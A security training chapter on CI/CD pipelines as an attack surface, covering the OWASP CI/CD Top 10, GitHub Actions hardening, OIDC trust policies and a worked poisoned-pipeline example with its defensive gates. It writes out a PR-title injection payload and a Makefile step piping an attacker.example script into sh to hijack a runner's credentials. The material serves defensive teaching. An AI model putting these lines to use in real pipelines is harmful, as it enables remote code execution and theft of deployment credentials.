Frontend Labs
⋯

Chapter 12 — CI/CD as an attack surface

In one sentence

Your CI/CD system executes code from your repo with credentials that can change production, so anyone who can influence what it runs — via a pull request, a dependency, a compromised action, or a leaked token — can reach prod.

Where we are

G1 Ch 47 covered dependencies and signing. This chapter is the CI/CD system itself: runners, tokens, triggers, and the ways an attacker turns "I can open a PR" into "I run commands on your pipeline with its secrets".

How it works

Map the OWASP Top 10 CI/CD Security Risks to concrete controls:

   1 INSUFFICIENT FLOW CONTROL -- code/artefacts reach prod without review
     or gates. -> branch protection, required reviews (CODEOWNERS),
     required status checks, environment protection rules with required
     reviewers for prod, no direct push to main, signed commits/tags.

   2 INADEQUATE IAM -- too many people/systems can change pipelines or
     hold prod creds. -> least-privilege on the CI platform, SSO + MFA,
     scoped GITHUB_TOKEN (default read-only; grant per-job), separate
     identities per pipeline, no shared service accounts.

   3 DEPENDENCY CHAIN ABUSE -- G1 Ch 47 (typosquat, confusion, malicious
     update). -> lockfiles, private registry proxy with allowlist, scoped
     internal names, SBOM + scan (Ch 13).

   4 POISONED PIPELINE EXECUTION (PPE) -- the big one:
       DIRECT PPE:   an attacker who can modify the CI config file in a
                     branch/PR gets their steps run. -> require review of
                     workflow files (CODEOWNERS on .github/workflows/**),
                     don't run untrusted workflow definitions.
       INDIRECT PPE: the CI config is fixed, but it runs files the attacker
                     CAN change -- a Makefile, build.gradle, a test script,
                     a lint config, a `package.json` "scripts" hook, a
                     conftest policy. Opening a PR that edits `Makefile`
                     and having CI run `make` = RCE on the runner.
                     -> pipelines triggered by fork PRs must run with NO
                     secrets and a read-only token, on an ephemeral
                     isolated runner; require approval to run workflows on
                     PRs from first-time / external contributors.

   5 INSUFFICIENT PBAC -- a pipeline can do more than its job (deploy
     anywhere, read all secrets). -> per-pipeline credentials scoped to
     one app/one environment; prod deploy is a separate, gated pipeline.

   6 CREDENTIAL HYGIENE -- long-lived secrets in CI variables, printed in
     logs, over-scoped. -> OIDC federation to the cloud (no static keys),
     short-lived tokens, secret masking, scan logs, rotate, least scope.

   7 INSECURE SYSTEM CONFIG -- outdated CI server, weak runner isolation,
     debug/SSH-to-runner enabled, permissive webhooks. -> patch, harden,
     ephemeral runners, disable interactive debug on protected branches.

   8 UNGOVERNED 3RD-PARTY SERVICES -- every OAuth app / GitHub App / CI
     plugin / marketplace action with repo or org access is trust you've
     extended. -> inventory and review them; least scope; remove unused;
     pin actions to a full commit SHA.

   9 IMPROPER ARTIFACT INTEGRITY -- nothing verifies that what's deployed
     is what CI built from reviewed source. -> sign artefacts (cosign),
     generate provenance (SLSA), verify at admission (Ch 13).

   10 INSUFFICIENT LOGGING/VISIBILITY -- you can't tell what the pipeline
      did or who changed it. -> ship CI audit logs + run logs to your SIEM;
      alert on workflow-file changes, new secrets, new runners, permission
      changes.

GitHub Actions specifics (the patterns generalise to GitLab CI, Jenkins, CircleCI, Buildkite):

   [ ] `permissions:` block in every workflow, default `contents: read`;
       grant `id-token: write`, `packages: write` etc. only per-job.
   [ ] NEVER use `pull_request_target` with a checkout of the PR head and
       then run its code -- that runs untrusted code WITH the base repo's
       secrets and a write token. If you must label-gate PRs, checkout the
       BASE and don't execute PR code.
   [ ] Script injection: `run: echo "${{ github.event.pull_request.title }}"`
       -- a PR titled `"; curl evil|sh; #` executes. Pass event data via
       `env:` and reference `"$TITLE"`, never interpolate `${{ }}` into a
       `run:` shell.
   [ ] Pin every action to a full commit SHA (`actions/checkout@<40-hex>`),
       not `@v4`. Consider `@v4` only for first-party actions with a
       comment, and use Dependabot to bump SHAs.
   [ ] Ephemeral, isolated runners. Self-hosted runners on PUBLIC repos =
       fork PRs run attacker code on your infra -> use GitHub-hosted or
       ephemeral, network-isolated, single-use runners.
   [ ] `actions/checkout` with `persist-credentials: false` unless you
       need the token for later git ops.
   [ ] Environment protection rules: `production` environment with
       required reviewers + wait timer + branch restriction; deploy jobs
       target it.
   [ ] Restrict which actions can run (org policy: "allow select actions",
       verified creators + an allowlist).

OIDC to the cloud — do it, and pin the trust:

   Instead of storing AWS keys in CI secrets, the workflow requests an
   OIDC token from the CI provider and exchanges it for a short-lived
   cloud role session.

   The cloud role's TRUST POLICY must pin the subject tightly:
     "Condition": {
       "StringEquals": {
         "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
       },
       "StringLike": {
         "token.actions.githubusercontent.com:sub":
           "repo:secureshop/platform:environment:production"
       }
     }
   COMMON MISCONFIG: `sub` set to `repo:secureshop/*` or omitted -> ANY
   repo in the org (or forks, or any branch) can assume the prod deploy
   role. Pin to the exact repo AND ref/environment.

Worked example

An indirect PPE, and the gate that stops it.

   SecureShop's CI runs, on every PR:  `make lint && make test && make build`
   with a runner that has `id-token: write` and can assume a role that can
   push to the ECR registry.

   ATTACK: an external contributor opens a PR that changes `Makefile`:
     test:
       curl -s https://attacker.example/x.sh | sh   # runs on the runner
       $(OLD_TEST_COMMAND)
   When CI runs `make test`, the attacker's script executes on the runner,
   reads the OIDC token / assumes the ECR role / pushes a backdoored image
   tagged like a legit build.

   GATES (any one breaks it; use several):
     - Fork PRs run in a `pull_request` context with NO secrets and a
       read-only token by default (GitHub does this) -- but only if the
       workflow doesn't opt into `pull_request_target` or a privileged
       reusable workflow. Verify.
     - "Require approval for all outside collaborators" to run workflows on
       PRs -> a maintainer must click before CI runs attacker-influenced
       code.
     - The registry-push role is assumable ONLY from
       `sub: repo:secureshop/platform:ref:refs/heads/main` -> a PR branch
       can't assume it even if code runs.
     - `Makefile` / build scripts are under CODEOWNERS -> the change needs
       a platform-team review to merge (doesn't stop pre-merge CI, but
       stops the poisoned Makefile from ever reaching main).
     - Ephemeral runner with egress allowlist -> `curl attacker.example`
       is blocked.

Practice (75 min)

  1. Audit one real repo's workflows: do they set permissions:? pin actions to SHAs? use pull_request_target unsafely? interpolate ${{ github.event.* }} into run:? Fix what you find.
  2. Set up OIDC from GitHub Actions (or GitLab) to your sandbox cloud account. Pin the role trust to the exact repo + environment:production. Prove a PR branch job cannot assume it.
  3. Add branch protection + a production environment with a required reviewer. Watch a deploy job wait for approval.
  4. Simulate an indirect PPE in a throwaway repo: a workflow that runs make, and a PR that edits the Makefile to echo PWNED. Confirm it runs on pull_request; then add "require approval for outside collaborators" and confirm it now waits.
  5. Run zizmor or octoscan (GitHub Actions static analysers) / poutine (multi-platform CI/CD scanner) against your workflows.
  6. Ship CI audit logs to your log store; write an alert for "workflow file changed on a protected branch" and "new Actions secret created".

Common mistakes

  • pull_request_target + checkout PR head + run it. The canonical CI takeover. Runs untrusted code with your secrets and write token.
  • Actions pinned to tags. @v4 is mutable; a compromised action repo repoints it. Pin to SHA.
  • Static long-lived cloud keys in CI secrets. Use OIDC. If you can't, rotate aggressively and scope hard.
  • OIDC trust with repo:org/* or no sub condition. Any repo/branch/fork assumes your deploy role.
  • One pipeline, one god-mode credential. Scope per app and per environment; prod deploy is separate and gated.
  • Self-hosted runners on public repos, non-ephemeral. Fork PRs = RCE on your infra, and job N poisons the cache for job N+1.
  • ${{ }} interpolation into shell run: blocks. Script injection via attacker-controlled event fields (PR title, branch name, commit message, issue body).

Check yourself

  1. What is Poisoned Pipeline Execution, and how do direct and indirect PPE differ?
  2. Why is pull_request_target with a checkout of the PR head dangerous?
  3. What is the OIDC-to-cloud pattern, and what's the common trust-policy misconfiguration?
  4. Give three reasons self-hosted runners on a public repo are risky.
  5. How does GitHub Actions script injection work, and what's the fix?
  6. Name four of the OWASP CI/CD Top 10 risks and a control for each.

Further reading

  • List: OWASP Top 10 CI/CD Security Risks (owasp.org/www-project-top-10-ci- cd-security-risks) — read it in full; it's the map.
  • Docs: GitHub "Security hardening for GitHub Actions", "About security hardening with OpenID Connect"; GitLab "CI/CD security"; the step-security/ harden-runner action.
  • Tools: zizmor, octoscan, poutine (BoostSecurity), raven (Cycode), Chainguard's actions guidance; gato / gato-x (offensive GitHub Actions enumeration).
  • Research: "Playing with GitHub Actions" and "One Supply Chain Attack to Rule Them All" (Cycode, Palo Alto Unit 42); the pull_request_target and self-hosted-runner writeups by Adnan Khan / John Stawinski.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36